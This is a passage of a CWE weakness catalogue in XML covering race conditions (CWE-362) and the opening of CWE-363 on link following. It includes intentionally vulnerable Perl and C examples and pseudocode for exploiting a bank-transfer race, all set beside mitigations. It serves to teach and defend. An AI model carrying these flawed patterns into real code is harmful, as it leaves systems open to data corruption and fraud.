					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>882</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 14 - Concurrency (CON)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C" Prevalence="Sometimes"/>
					          <Language Language_Name="C++" Prevalence="Sometimes"/>
					          <Language Language_Name="Java" Prevalence="Sometimes"/>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Prevalence="Often" Architectural_Paradigm_Name="Concurrent Systems Operating on Shared Resources"/>
				        </Architectural_Paradigms>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The relationship between race conditions and synchronization problems
						(CWE-662) needs to be further developed. They are not necessarily two
						perspectives of the same core concept, since synchronization is only one
						technique for avoiding race conditions, and synchronization can be used for
						other purposes besides race condition prevention.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When a race condition makes it possible to bypass a resource cleanup
							routine or trigger multiple initialization routines, it may lead to
							resource exhaustion (CWE-400).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When a race condition allows multiple control flows to access a
							resource simultaneously, it might lead the program(s) into unexpected
							states, possibly resulting in a crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When a race condition is combined with predictable resource names and
							loose permissions, it may be possible for an attacker to overwrite or
							access confidential data (CWE-59).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Black box methods may be able to identify evidence of race conditions
							via methods such as multiple simultaneous connections, which may cause
							the software to become instable or crash. However, race conditions with
							very narrow timing windows would not be detectable.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>White Box</Method_Name>
					          <Method_Description>
						            <Text>Common idioms are detectable in white box analysis, such as
							time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or
							double-checked locking (CWE-609).</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
						            <Text>Race conditions may be detected with a stress-test by calling the
							software simultaneously from a large number of threads or processes, and
							look for evidence of any unexpected behavior.</Text>
						            <Text>Insert breakpoints or delays in between relevant code statements to
							artificially expand the race window so that it will be easier to
							detect.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In languages that support it, use synchronization primitives. Only
							wrap these around critical code to minimize the impact on
							performance.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use thread-safe capabilities such as the data access abstraction in
							Spring.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Minimize the usage of shared resources in order to remove as much
							complexity as possible from the control flow and to reduce the
							likelihood of unexpected conditions occurring.</Text>
						            <Text>Additionally, this will minimize the amount of synchronization
							necessary and may even help to reduce the likelihood of a denial of
							service where an attacker may be able to repeatedly trigger a critical
							section (CWE-400).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When using multithreading and operating on shared variables, only use
							thread-safe functions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use atomic operations on shared variables. Be wary of innocent-looking
							constructs such as "x++". This may appear atomic at the code layer, but
							it is actually non-atomic at the instruction layer, since it involves a
							read, followed by a computation, followed by a write.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a mutex if available, but be sure to avoid related weaknesses such
							as CWE-412.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid double-checked locking (CWE-609) and other implementation errors
							that arise when trying to avoid the overhead of synchronization.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Disable interrupts or signals over critical parts of the code, but
							also make sure that the code does not go into a large or infinite
							loop.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the volatile type modifier for critical variables to avoid
							unexpected compiler optimization or reordering. This does not
							necessarily solve the synchronization problem, but it can help.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.362.11]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code could be used in an e-commerce application that supports
						transfers between accounts. It takes the total amount of the transfer, sends
						it to the new account, and deducts the amount from the original
						account.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$transfer_amount = GetTransferAmount();</Code>
							              <Code>$balance = GetBalanceFromDatabase();</Code>
							              <Code/>
							              <Code>if ($transfer_amount &lt; 0) {</Code>
							              <Block>
								                <Code>FatalError("Bad Transfer Amount");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>$newbalance = $balance - $transfer_amount;</Code>
							              <Code>if (($balance - $transfer_amount) &lt; 0) {</Code>
							              <Block>
								                <Code>FatalError("Insufficient Funds");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>SendNewBalanceToDatabase($newbalance);</Code>
							              <Code>NotifyUser("Transfer of $transfer_amount succeeded.");</Code>
							              <Code>NotifyUser("New balance: $newbalance");</Code>
						            </Block>
						            <Text>A race condition could occur between the calls to
							GetBalanceFromDatabase() and SendNewBalanceToDatabase().</Text>
						            <Text>Suppose the balance is initially 100.00. An attack could be
							constructed as follows:</Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>PseudoCode</Code_Example_Language>
							              <Code>The attacker makes two simultaneous calls of the program, CALLER-1
								and CALLER-2. Both callers are for the same user account.</Code>
							              <Code>CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance
								that handles CALLER-1). CALLER-2 is associated with
								PROGRAM-2.</Code>
							              <Code>CALLER-1 makes a transfer request of 80.00.</Code>
							              <Code>PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to
								100.00</Code>
							              <Code>PROGRAM-1 calculates $newbalance as 20.00, then calls
								SendNewBalanceToDatabase().</Code>
							              <Code>Due to high server load, the PROGRAM-1 call to
								SendNewBalanceToDatabase() encounters a delay.</Code>
							              <Code>CALLER-2 makes a transfer request of 1.00.</Code>
							              <Code>PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to
								100.00. This happens because the previous PROGRAM-1 request was not
								processed yet.</Code>
							              <Code>PROGRAM-2 determines the new balance as 99.00.</Code>
							              <Code>After the initial delay, PROGRAM-1 commits its balance to the
								database, setting it to 20.00.</Code>
							              <Code>PROGRAM-2 sends a request to update the database, setting the
								balance to 99.00</Code>
						            </Block>
						            <Text>At this stage, the attacker should have a balance of 19.00 (due to
							81.00 worth of transfers), but the balance is 99.00, as recorded in the
							database.</Text>
						            <Text>To prevent this weakness, the programmer has several options,
							including using a lock to prevent multiple simultaneous requests to the
							web application, or using a synchronization mechanism that includes all
							the code between GetBalanceFromDatabase() and
							SendNewBalanceToDatabase().</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-24">
					          <Intro_Text>The following function attempts to acquire a lock in order to
						perform operations on a shared resource.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>pthread_mutex_lock(mutex);</Code>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the code does not check the value returned by
							pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire
							the mutex for any reason, the function may introduce a race condition
							into the program and result in undefined behavior.</Text>
						            <Text>In order to avoid data races, correctly written programs must check
							the result of thread synchronization functions and appropriately handle
							all errors, either by attempting to recover from them or reporting it to
							higher levels.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>int f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>int result;</Code>
								                <Code/>
								                <Code>result = pthread_mutex_lock(mutex);</Code>
								                <Code>if (0 != result)</Code>
								                <Block>
									                  <Code>return result;</Code>
								                </Block>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>return pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5044</Observed_Example_Reference>
					          <Observed_Example_Description>Race condition leading to a crash by calling a
						hook removal procedure while other activities are occurring at the same
						time.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2958</Observed_Example_Reference>
					          <Observed_Example_Description>chain: time-of-check time-of-use (TOCTOU) race
						condition in program allows bypass of protection mechanism that was designed
						to prevent symlink attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1570</Observed_Example_Reference>
					          <Observed_Example_Description>chain: time-of-check time-of-use (TOCTOU) race
						condition in program allows bypass of protection mechanism that was designed
						to prevent symlink attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0058</Observed_Example_Reference>
					          <Observed_Example_Description>Unsynchronized caching operation enables a race
						condition that causes messages to be sent to a deallocated
						object.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0379</Observed_Example_Reference>
					          <Observed_Example_Description>Race condition during initialization triggers a
						buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6599</Observed_Example_Reference>
					          <Observed_Example_Description>Daemon crash by quickly performing operations and
						undoing them, which eventually leads to an operation that does not acquire a
						lock.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6180</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition triggers NULL pointer
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5794</Observed_Example_Reference>
					          <Observed_Example_Description>Race condition in library function could cause
						data to be sent to the wrong process.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3970</Observed_Example_Reference>
					          <Observed_Example_Description>Race condition in file parser leads to heap
						corruption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5021</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition allows attacker to access an
						object while it is still being initialized, causing software to access
						uninitialized memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4895</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition for an argument value,
						possibly resulting in NULL dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3547</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition might allow resource to be
						released before operating on it, leading to NULL dereference
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Race conditions in web applications are under-studied and probably
						under-reported. However, in 2008 there has been growing interest in this
						area.</Text>
				        </Research_Gap>
				        <Research_Gap>
					          <Text>Much of the focus of race condition research has been in Time-of-check
						Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are
						related to synchronization problems that do not necessarily require a
						time-of-check.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.362.1">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.2">
					          <Reference_Author>Andrei Alexandrescu</Reference_Author>
					          <Reference_Title>volatile - Multithreaded Programmer's Best
						Friend</Reference_Title>
					          <Reference_Publication>Dr. Dobb's</Reference_Publication>
					          <Reference_Date>2008-02-01</Reference_Date>
					          <Reference_Link>http://www.ddj.com/cpp/184403766</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.3">
					          <Reference_Author>Steven Devijver</Reference_Author>
					          <Reference_Title>Thread-safe webapps using Spring</Reference_Title>
					          <Reference_Link>http://www.javalobby.org/articles/thread-safe/index.jsp</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.4">
					          <Reference_Author>David Wheeler</Reference_Author>
					          <Reference_Title>Prevent race conditions</Reference_Title>
					          <Reference_Date>2007-10-04</Reference_Date>
					          <Reference_Link>http://www.ibm.com/developerworks/library/l-sprace.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.5">
					          <Reference_Author>Matt Bishop</Reference_Author>
					          <Reference_Title>Race Conditions, Files, and Security Flaws; or the Tortoise and
						the Hare Redux</Reference_Title>
					          <Reference_PubDate>September 1995</Reference_PubDate>
					          <Reference_Link>http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.6">
					          <Reference_Author>David Wheeler</Reference_Author>
					          <Reference_Title>Secure Programming for Linux and Unix HOWTO</Reference_Title>
					          <Reference_Date>2003-03-03</Reference_Date>
					          <Reference_Link>http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.7">
					          <Reference_Author>Blake Watts</Reference_Author>
					          <Reference_Title>Discovering and Exploiting Named Pipe Security Flaws for Fun
						and Profit</Reference_Title>
					          <Reference_PubDate>April 2002</Reference_PubDate>
					          <Reference_Link>http://www.blakewatts.com/namedpipepaper.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.8">
					          <Reference_Author>Roberto Paleari</Reference_Author>
					          <Reference_Author>Davide Marrone</Reference_Author>
					          <Reference_Author>Danilo Bruschi</Reference_Author>
					          <Reference_Author>Mattia Monga</Reference_Author>
					          <Reference_Title>On Race Vulnerabilities in Web Applications</Reference_Title>
					          <Reference_Link>http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.9">
					          <Reference_Title>Avoiding Race Conditions and Insecure File
						Operations</Reference_Title>
					          <Reference_Publication>Apple Developer Connection</Reference_Publication>
					          <Reference_Link>http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.362.10">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 25 - Race Conditions</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-26</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.362.11">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Race Conditions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not simultaneously open the same file multiple
						times</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not assume that a group of calls to independently atomic
						methods is atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not simultaneously open the same file multiple
						times</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use lock classes for mutex management</Mapped_Node_Name>
					          <Mapped_Node_ID>CON02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Content">
					          <Contributor>Martin Sebor</Contributor>
					          <Contribution_Organization>Cisco Systems, Inc. </Contribution_Organization>
					          <Contribution_Date>2010-04-30</Contribution_Date>
					          <Contribution_Comment>Provided Demonstrative Example</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Likelihood_of_Exploit,
						Maintenance_Notes, Observed_Examples, Potential_Mitigations, References,
						Relationships, Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Detection_Factors, Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Description, Name, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Race
						Conditions</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Race
						Condition</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="363" Name="Race Condition Enabling Link Following" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software checks the status of a file or directory before
					accessing it, which produces a race condition in which the file can be replaced
					with a link before the access is performed, causing the software to access the
					wrong file.</Description_Summary>
				        <Extended_Description>
					          <Text>While developers might expect that there is a very narrow time window
						between the time of check and time of use, there is still a race condition.
						An attacker could cause the software to slow down (e.g. with memory
						consumption), causing the time window to become larger. Alternately, in some
						situations, the attacker could win the race by performing a large number of
						attacks.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>367</Relationship_Target_ID>
					          <!--Time-of-check Time-of-use (TOCTOU) Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is already covered by the "Link Following" weakness (CWE-59). It is
						included here because so many people associate race conditions with link
						problems; however, not all link following issues involve race
						conditions.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
